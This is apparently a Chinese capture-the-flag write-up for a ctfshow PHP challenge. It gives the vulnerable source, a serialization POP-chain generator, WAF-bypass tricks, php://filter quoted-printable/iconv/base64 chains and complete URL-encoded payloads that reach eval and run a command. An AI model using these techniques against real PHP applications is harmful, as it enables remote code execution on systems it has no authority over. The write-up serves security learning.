好家伙,过年都不让人好好过,为了一个flag硬是能折腾一天,记录一个对php://filter伪协议考的比较深的题,让我知道不能就知道个php://filter/read=convert.base64-encode/resource=flag.php了。
关于php://filter伪协议我看了觉得比较详细两篇文章,放下面了
PHP伪协议filter详解,php://filter协议过滤器_filter为协议-CSDN博客
浅谈 filter伪协议的特性_为什么file_get_content可以传入伪协议-CSDN博客
预期解
接下来进入正题,先看源码
开胃小菜,就让我成为签到题叭 <?php
header('Content-Type:text/html;charset=utf-8');
error_reporting(0);
function waf1($Chu0){
foreach ($Chu0 as $name => $value) {
if(preg_match('/[a-z]/i', $value)){
exit("waf1");
}
}
}
function waf2($Chu0){
if(preg_match('/show/i', $Chu0))
exit("waf2");
}
function waf_in_waf_php($a){
$count = substr_count($a,'base64');
echo "hinthinthint,base64喔"."<br>";
if($count!=1){
return True;
}
if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
return True;
}else{
return false;
}
}
class ctf{
public $h1;
public $h2;
public function __wakeup(){
throw new Exception("fastfast");
}
public function __destruct()
{
$this->h1->nonono($this->h2);
}
}
class show{
public function __call($name,$args){
if(preg_match('/ctf/i',$args[0][0][2])){
echo "gogogo";
}
}
}
class Chu0_write{
public $chu0;
public $chu1;
public $cmd;
public function __construct(){
$this->chu0 = 'xiuxiuxiu';
}
public function __toString(){
echo "__toString"."<br>";
if ($this->chu0===$this->chu1){
$content='ctfshowshowshowwww'.$_GET['chu0'];
if (!waf_in_waf_php($_GET['name'])){
file_put_contents($_GET['name'].".txt",$content);
}else{
echo "绕一下吧孩子";
}
$tmp = file_get_contents('ctfw.txt');
echo $tmp."<br>";
if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
eval($tmp($_GET['cmd']));
}else{
echo "waf!";
}
file_put_contents("ctfw.txt","");
}
return "Go on";
}
}
if (!$_GET['show_show.show']){
echo "开胃小菜,就让我成为签到题叭";
highlight_file(__FILE__);
}else{
echo "WAF,启动!";
waf1($_REQUEST);
waf2($_SERVER['QUERY_STRING']);
if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){
unserialize($_GET['show_show.show']);
}else{
echo "被waf啦";
}
}
思路很清晰,一个POP链,绕过三个WAF,一个正则,一个__wakeup,然后写shell进文件,最后经过正则后RCE
先来看POP链,比较简单,但是有坑,
ctf() __destruct -> show() __call -> Chu0_write __toString
<?php
class ctf{
public $h1;
public $h2;
}
class show{
}
class Chu0_write{
public $chu0;
public $chu1;
public $cmd;
}
$a=new ctf();
$a->h1=new show();
$a->h2=[[2=>new Chu0_write()]]; //注意这里的参数是ctf()的h2
//__call($name,$args)中的$args已经是一个数组,所h2只用嵌套两层即可
echo serialize($a);
得到最终POP链
O:3:"ctf":2:{s:2:"h1";O:4:"show":0:{}s:2:"h2";a:1:{i:0;a:1:{i:2;O:10:"Chu0_write":3:{s:4:"chu0";N;s:4:"chu1";N;s:3:"cmd";N;}}}}
现在来看WAF,顺序依次是waf1->waf2->正则->waf_in_waf_php
waf1就是我们传递的参数值中不能含有a-z和A-Z,这里有个知识点,就是$_REQUEST的传参中POST的优先级比GET高,我们可以POST复制传递题目让我们GET的参数,waf1就会匹配POST的数据而忽略GET,从而绕过
waf2就是让我们GET传参中不能含有show,可是不论是参数还是POP链中都有show,这时我们就可以url编码绕过,注意这里还有个隐藏考点就是我之前讲过的传参规则,show_show.show需要写成show[show.show。
最后我们传参
GET:?%73%68%6f%77%5b%73%68%6f%77%2e%73%68%6f%77=%4f:%2b%33:%22%63%74%66%22:%32:%7b%73:%32:%22%68%31%22%3b%4f:%34:%22%73%68%6f%77%22:%30:%7b%7d%73:%32:%22%68%32%22%3b%61:%31:%7b%69:%30%3b%61:%31:%7b%69:%32%3b%4f:%31%30:%22%43%68%75%30%5f%77%72%69%74%65%22:%33:%7b%73:%34:%22%63%68%75%30%22%3b%4e%3b%73:%34:%22%63%68%75%31%22%3b%4e%3b%73:%33:%22%63%6d%64%22%3b%4e%3b%7d%7d%7d
POST:show[show.show=1
进入到tostring下
题目提示我们要用到base64,我第一个想到了php://filter,但是对php://filter的了解不深入,导致想了很久。并且这里只能写入txt文件,无法写马。
先看我的思路。我想的是利用php://filter/convert.base64-encode/resource=ctfw,让原来的内容乱码,从而执行我base64写入的方法,但是本地测试后发现不行,原因是因为他这里是将文件的内容当成一个函数,前面数据无论是什么,在拼接你写的内容后PHP都无法识别这个函数从而报错,除非前面的内容是比如php,你在后面拼接info,最后内容是phpinfo(),这时是PHP定义了的函数,语法上才不会报错,才会执行。
看了网上资料后我才有了新思路,我们可以让原来的内容即ctfshowshowshowwww,经过filter里的过滤器过滤后,变成不是base64里面可编码的字符比如 #@等,具体过滤器用法可以参加我放的两篇文章,现在将我们要执行的方法比如system,进行利用iconv进行utf-8(因为我们现在是utf-8编码)转成任意filter支持的字符编码(比如utf-16)
<?php
$b ='system';
$payload = iconv('utf-8', 'utf-16', base64_encode($b)); //utf-16这里可以换成任意filter支持的字符编码
file_put_contents('payload.txt', quoted_printable_encode($payload));
//quoted_printable_encode这就是个特殊编码,目的只是为了可视化,因为编码后会乱码,
//应该也可以用urlencode($payload),但是urlencode($payload)我本地测试是可以的,但题目环境不行
$s = file_get_contents('payload.txt');
$s = preg_replace('/=\r\n/', '', $s);
echo $s;
然后利用php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw,这就是个求逆的过程,把我们convert.quoted-printable-encode进行decode,convert.iconv.utf-16.utf-8 将utf-16转回utf-8,最后convert.base64-decode进行base64解码,我们的写入的数据就恢复成system,而之前的内容即ctfshowshowshowwww,会在/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8后乱码并且无法进行base64解码,这时/convert.base64-decode/就会过滤掉非base64字符把原来的数据清空。最后打印环境变量即可得到flag
最终payload
GET:?%73%68%6f%77[%73%68%6f%77.%73%68%6f%77=%43%3a%31%31%3a%22%41%72%72%61%79%4f%62%6a%65%63%74%22%3a%31%36%34%3a%7b%78%3a%69%3a%30%3b%61%3a%31%3a%7b%73%3a%39%3a%22%67%78%6e%67%78%6e%67%78%6e%22%3b%4f%3a%33%3a%22%63%74%66%22%3a%32%3a%7b%73%3a%32%3a%22%68%31%22%3b%4f%3a%34%3a%22%73%68%6f%77%22%3a%30%3a%7b%7d%73%3a%32%3a%22%68%32%22%3b%61%3a%31%3a%7b%69%3a%30%3b%61%3a%31%3a%7b%69%3a%32%3b%4f%3a%31%30%3a%22%43%68%75%30%5f%77%72%69%74%65%22%3a%33%3a%7b%73%3a%34%3a%22%63%68%75%30%22%3b%4e%3b%73%3a%34%3a%22%63%68%75%31%22%3b%4e%3b%73%3a%33%3a%22%63%6d%64%22%3b%4e%3b%7d%7d%7d%7d%7d%3b%6d%3a%61%3a%30%3a%7b%7d%7d&name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw&chu0=c=003=00l=00z=00d=00G=00V=00t=00&cmd=env
POST:show[show.show=1&name=1&chu0=1&cmd=1
得到flag
非预期解
直接扫后台,会发现有个phpinfo.php
直接访问,搜索flag,即可